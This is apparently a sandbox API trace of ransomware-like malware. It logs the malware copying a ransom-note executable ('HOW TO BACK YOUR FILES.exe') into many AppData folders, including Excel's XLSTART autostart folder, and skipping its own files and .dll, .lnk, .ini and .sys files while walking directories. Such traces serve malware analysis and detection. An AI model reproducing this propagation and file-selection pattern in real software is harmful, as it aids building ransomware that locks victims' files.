	[0043.328] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\imjp8_1\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.343] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.343] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x31e63e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31e63e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.343] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.343] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.343] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12"
	[0043.343] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0043.344] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0043.344] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12") returned 62
	[0043.344] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12"
	[0043.344] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.344] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\imjp12\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.348] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.348] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x31e89fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31e89fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.348] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.348] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.348] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12"
	[0043.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0043.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0043.348] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12") returned 61
	[0043.349] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12"
	[0043.349] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.349] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ime12\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.353] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.353] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x31e89fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31e89fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.353] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.353] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.353] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel"
	[0043.354] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0043.354] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0043.354] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel") returned 61
	[0043.354] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel"
	[0043.354] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.354] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\excel\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.358] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.358] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c1e0470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31eb0110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31eb0110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.358] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.358] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.358] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="XLSTART" | out: lpString1="XLSTART") returned="XLSTART"
	[0043.359] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0043.359] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x599500
	[0043.359] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0043.359] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 0
	[0043.359] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.359] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0043.359] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART"
	[0043.359] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599500 | out: hHeap=0x580000) returned 1
	[0043.359] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0043.359] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned 69
	[0043.359] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART"
	[0043.359] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.359] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\excel\\xlstart\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.363] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.363] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0x31eb0110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31eb0110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.363] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.363] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.363] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks"
	[0043.363] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0043.363] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0043.364] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned 80
	[0043.364] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks"
	[0043.364] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.364] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.368] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.368] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31eb0110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31eb0110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.368] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.373] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.373] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0043.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0043.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xac) returned 0x599450
	[0043.373] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0043.373] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31eb0110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31eb0110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.373] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.373] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31eb0110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31eb0110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.373] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.373] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0043.373] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033"
	[0043.373] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0043.373] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0043.373] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned 85
	[0043.373] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033"
	[0043.373] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.373] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.377] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.377] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31ed6270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31ed6270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.378] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.378] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.378] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="14" | out: lpString1="14") returned="14"
	[0043.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0043.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1458
	[0043.378] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0043.378] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31ed6270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31ed6270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.378] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.378] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31ed6270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31ed6270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.378] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.378] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0043.378] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14"
	[0043.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0043.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0043.378] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14") returned 88
	[0043.378] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14"
	[0043.378] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.378] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.383] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.383] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31ed6270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31ed6270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.383] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.383] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.383] lstrcpyW (in: lpString1=0x2d3e602, lpString2="Built-In Building Blocks.dotx" | out: lpString1="Built-In Building Blocks.dotx") returned="Built-In Building Blocks.dotx"
	[0043.383] lstrlenW (lpString="Built-In Building Blocks.dotx") returned 29
	[0043.383] lstrlenW (lpString="Apollon865") returned 10
	[0043.383] lstrcmpiW (lpString1="locks.dotx", lpString2="Apollon865") returned 1
	[0043.383] lstrlenW (lpString=".dll") returned 4
	[0043.383] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2=".dll") returned 1
	[0043.383] lstrlenW (lpString=".lnk") returned 4
	[0043.383] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2=".lnk") returned 1
	[0043.383] lstrlenW (lpString=".ini") returned 4
	[0043.383] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2=".ini") returned 1
	[0043.383] lstrlenW (lpString=".sys") returned 4
	[0043.383] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2=".sys") returned 1
	[0043.383] lstrlenW (lpString="Built-In Building Blocks.dotx") returned 29
	[0043.383] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto"
	[0043.383] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
